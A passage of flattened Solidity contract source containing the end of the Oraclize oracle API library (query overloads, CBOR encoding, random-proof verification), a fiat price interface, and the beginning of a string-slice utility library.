return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract FiatContractInterface {
function USD(uint _id) view public returns (uint256);
}
pragma solidity ^0.4.14;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
